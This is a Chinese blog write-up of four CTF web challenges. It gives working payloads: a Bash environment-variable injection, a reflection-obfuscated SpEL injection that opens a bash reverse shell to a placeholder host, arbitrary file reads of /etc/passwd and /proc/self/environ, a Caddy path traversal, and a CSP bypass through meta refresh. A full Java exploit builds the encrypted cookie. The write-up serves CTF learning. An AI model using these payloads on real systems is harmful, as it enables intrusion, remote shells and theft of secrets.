前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >3月初比赛做题记录

3月初比赛做题记录

作者头像
pankas
发布2023-03-11 14:12:43
4660
发布2023-03-11 14:12:43
举报

前言

寒假一直在摸鱼,基本都没怎么打比赛,这个3月初自己算是比赛打的比较勤了的,打了两个比赛,虽然第一个”安洵“是被主办方当猴去耍了。另外自己水平还是有待提高,都只是做出了最基本的题目,尤其是kalmarCTF,继续沉淀……..

Babyweb

又是狗都不用的php,正则表达式 preg_match 这里存在回溯限制,当字符串数量达到一定限度时会返回 false

9b0413f6-bc57-416e-9d1d-7dd809a8d22d
9b0413f6-bc57-416e-9d1d-7dd809a8d22d
代码语言:javascript
复制
'aikun'.str_repeat('a',1000000).'xiaojijiao'

然后访问这个 e4eeee4vaa1ll1we44ebf111a4g.php

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);

foreach ($_REQUEST['env'] as $key => $value) {
    if (blacklist($value)) {
        putenv("{$key}={$value}");
    }else{
        echo "Hack!!!";
    }
}

system('echo doit');

function blacklist($a){
    if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
        return true;
    }
    else{
        return false;
    }
}

?>

这里其实参考p牛的文章即可,原封不动的

https://tttang.com/archive/1450/

执行命令

代码语言:javascript
复制
/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20id;%20}

后面就是常规的命令执行 bypass

代码语言:javascript
复制
/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20a=ca;b=t;c=/f*;$a$b $c;%20}

ezjava

首先要登录,尝试应该是不存在sql注入了,尝试弱口令 admin/123456

成功登录

之后看前端源码可以发现 /file?pic=pic 这个接口,存在任意文件读取漏洞

代码语言:javascript
复制
/file?pic=/etc/passwd

/proc/self/cmdline 可以找到jar包位置

代码语言:javascript
复制
/file?pic=/proc/self/cmdline

得到 java -jar /ezJava-1.0-SNAPSHOT.jar

然后读jar包

代码语言:javascript
复制
/file?pic=/ezJava-1.0-SNAPSHOT.jar

得到jar包后就可以分析了

可以发现在登录后对 rememberMe 进行了解码然后再使用 SqEL表达式进行解析,所以 rememberMe这里存在 SqEL表达式注入漏洞。

代码语言:javascript
复制
//其他代码省略......
    
ExpressionParser parser = new SpelExpressionParser();

//其他代码省略......
    
private String getAdvanceValue(String val) {
    String[] var2 = this.keyworkProperties.getBlacklist();
    int var3 = var2.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String keyword = var2[var4];
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, parserContext);
    ContextEvaluation evaluationContext = new ContextEvaluation();
    return exp.getValue(evaluationContext).toString();
}

//其他代码省略...... 

加了黑名单

application.yml

代码语言:javascript
复制
spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: 123456
  rememberMeKey: ${SpringRememberMeKey}

用反射绕就行

代码语言:javascript
复制
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1"})}

有关SpEL表达式注入参考

SpEL表达式注入漏洞总结

SPEL 表达式注入漏洞深入分析

然后就是要将这个payload加密后写入cookie中,加密这里用源码里给的加密方法就行。这里还缺个 SpringRememberMeKey 是在环境变量里

直接读环境变量文件即可得到

代码语言:javascript
复制
/file?pic=/proc/self/environ

得到 rememberMeKeyP3UzzQsJkQ4t7xvQFe3e4XKP4fyPAMQv

exp:

代码语言:javascript
复制
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class Exp {
    public static String encrypt(String key, String initVector, String value) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(1, skeySpec, iv);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return Base64.getUrlEncoder().encodeToString(encrypted);
        } catch (Exception var7) {
            return null;
        }
    }
    public static void main(String[] args) {
        String payload = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1\"})}";
        String res;
        res = encrypt("P3UzzQsJkQ4t7xvQFe3e4XKP4fyPAMQv", "0123456789abcdef", payload);
        System.out.println(res);
    }
}

之后在index页面下修改cookie中的 rememberMe 发送即可反弹shell。

Ez ⛳

kalmarCTF的题

Caddy 2.4.5服务器,看 docker-compose.yaml 可以发现 flag.txt 被删了,同时可以注意到他服务器上是这样的目录结构

image-20230306103035535
image-20230306103035535

可以发现当前srv目录下的backups目录中留有这三个网站的备份

注意到 Caddy 服务器的配置文件 Caddyfile 的 file_server 这里文件根路径是动态拼接的。

代码语言:javascript
复制
{
    admin off
    local_certs  # Let's not spam Let's Encrypt
}

caddy.chal-kalmarc.tf {
    redir https://www.caddy.chal-kalmarc.tf
}

#php.caddy.chal-kalmarc.tf {
#    php_fastcgi localhost:9000
#}

flag.caddy.chal-kalmarc.tf {
    respond 418
}

*.caddy.chal-kalmarc.tf {
    encode zstd gzip
    log {
        output stderr
        level DEBUG
    }

    # block accidental exposure of flags:
    respond /flag.txt 403

    tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
        on_demand
    }
# 进行了动态拼接
    file_server {
        root /srv/{host}/
    }
}

所以更改host即可访问 backups 目录中的内容,另外这里respond匹配到 /flag.txt 会返回 403,用 /../flag.txt 即可绕过

exp:

代码语言:javascript
复制
GET /../flag.txt HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}

Invoiced

题目给了源码

可以看到 /renderInvoice 路由直接进行了 replace ,看样子是存在xss

代码语言:javascript
复制
app.get('/renderInvoice', async (req, res) => {
  if (!invoice) {
    invoice = await readFile('templates/invoice.html', 'utf8')
  }

  let html = invoice
  .replaceAll("{{ name }}", req.query.name)
  .replaceAll("{{ address }}", req.query.address)
  .replaceAll("{{ phone }}", req.query.phone)
  .replaceAll("{{ email }}", req.query.email)
  .replaceAll("{{ discount }}", req.query.discount)
  res.setHeader("Content-Type", "text/html")
  res.setHeader("Content-Security-Policy", "default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;")
  res.send(html)
})

但发现其实是设置了CSP的

同时

代码语言:javascript
复制
app.get('/orders', (req, res) => {
  if (req.socket.remoteAddress != "::ffff:127.0.0.1") {
    return res.send("Nice try")
  }
  if (req.cookies['bot']) {
    return res.send("Nice try")
  }
  res.setHeader('X-Frame-Options', 'none');
  res.send(process.env.FLAG || 'kalmar{test_flag}')
})

要求本地访问且cookie中不能有 bot

bot这里

代码语言:javascript
复制
async function renderPdf(body){
    const browser = await puppeteer.launch(browser_options);
    const page = await browser.newPage();
    const cookie = {
        "name": "bot",
        "value": "true",
        "domain": "localhost:5000",
        "httpOnly": true,
        "sameSite": "Strict"
    }
    await page.setCookie(cookie)
    await page.goto("http://localhost:5000/renderInvoice?"+querystring.stringify(body), { waitUntil: 'networkidle0' });
    await delay(1000)
    const pdf = await page.pdf({ format: 'A4' });
    await browser.close();
    return pdf
}

由于设置了很严格的CSP,导致没办法注入执行 XSS 代码。但可以注入html,不过iframe没法使用。注意程序会返回bot最终访问页面的pdf,所以可以想办法让bot访问的页面跳转到 /orders 然后打印返回flag。

参考 https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/meta

可以使用 <meta> 标签来实现跳转

代码语言:javascript
复制
</title><meta http-equiv="refresh" content="0;url=http://xxx.xxx.xxx.xxx:xxx">

然后是绕过这个cookie限制。

自己启一个服务器作为跳板即可不携带cookie访问。

index.html

代码语言:javascript
复制
<script>location="http://localhost:5000/orders"</script>

/cart 页面填写name为

代码语言:javascript
复制
</title><meta http-equiv="refresh" content="0;url=http://xxx.xxx.xxx.xxx:xxx">

从源码中知道discount为 FREEZTUFSSZ1412,填写发送即可

07d98082-029f-43ba-8404-ced8f5489427
07d98082-029f-43ba-8404-ced8f5489427
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-03-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • Babyweb
  • ezjava
  • Ez ⛳
  • Invoiced
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档